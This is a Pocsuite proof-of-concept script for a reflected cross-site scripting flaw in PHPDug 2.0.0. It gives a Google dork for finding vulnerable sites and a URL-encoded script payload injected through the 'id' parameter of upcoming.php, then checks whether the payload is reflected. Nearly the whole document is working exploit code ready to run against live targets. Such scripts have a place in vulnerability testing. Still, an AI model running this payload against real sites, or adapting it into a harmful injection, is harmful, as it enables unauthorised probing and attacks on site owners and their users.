PHPDug 2.0.0 - Cross Site Scripting Vulnerability

                                                #!/usr/bin/env python
# coding: utf-8

from pocsuite.net import req
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register

class TestPOC(POCBase):
    vulID = 'SSV-67417'  # vul ID
    version = '1'
    author = 'fenghh'
    vulDate = '2010-01-06'
    createDate = '2015-10-14'
    updateDate = '2015-10-14'
    references = ['https://www.exploit-db.com/exploits/11017/']
    name = 'PHPDug 2.0.0 - Cross-Site Scripting Vulnerability'
    appPowerLink = 'www.phpdug.site40.net'
    appName = 'PHPDug'
    appVersion = '2.0.0'
    vulType = 'XSS'
    desc = '''  
         Google Dork: Powered By PHPDug version 2.0.0 .
         upcoming.php?id参数错误导致xss。
    '''
    # the sample sites for examine
    samples = ['']

    def _verify(self):
        output = Output(self)
        result = {}
        payload = '/phpdug/upcoming.php?id=>">%3Cscript%3Ealert%28%22bb2%22%29%3C%2Fscript%3E'
        verify_url = self.url + payload
        response = req.get(verify_url)
        content = response.content
        if '<script>alert("bb2")</script>' in content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = verify_url
            output.success(result)
        else:
            output.fail('XSS Failed')
        return output

    def _attack(self): 
        return self._verify()

register(TestPOC)